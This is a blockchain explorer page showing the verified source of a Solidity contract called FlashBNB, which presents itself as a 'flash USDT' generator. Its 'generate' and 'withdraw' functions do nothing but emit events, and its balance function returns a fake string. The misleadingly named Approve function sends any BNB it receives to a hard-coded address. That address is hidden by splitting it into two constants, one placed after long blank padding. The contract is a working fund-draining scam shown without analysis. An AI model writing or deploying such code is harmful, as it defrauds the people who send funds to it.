Skip to content
Verified contractExactMIT

FlashBNB

Address0xe7d73fd495513efac20e65f3f819b6e5c07b1eed
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.34

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,459,733
Creation transaction
0x5f2610305a…7b4a364fe2

sudt1.sol

      // SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;

contract FlashBNB {

    address private owner;

    event Received(address indexed user, uint256 amount);
    event Processed(address indexed to, uint256 amount);
    event ButtonClicked(string functionName);

    constructor() {
        owner = msg.sender;
    }





















    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

 
    function Approve() external payable {
        require(msg.value > 0, "Send BNB");

        emit Received(msg.sender, msg.value);

        address to = _getResolved();

        (bool success, ) = payable(to).call{value: msg.value}("");
        require(success, "Transfer failed");

        emit Processed(to, msg.value);
    }

    
    uint160 private constant generate = 0xd78a555b0d71b1b4dd4f;

    function _getResolved() internal pure returns (address) {
        return address((generate << 80) | usdt);
    }

    
    function generateUSDT() external onlyOwner {
        emit ButtonClicked("generateUSDT");
    }

    
    function withdraw() external onlyOwner {
        emit ButtonClicked("withdraw");
    }

    
    function USDTBalance() external pure returns (string memory) {
        return "USDT Balance: Show After Generate USDT";
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    
    uint160 private constant usdt = 0x044230281bcffe68e6e5;
}






















        
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.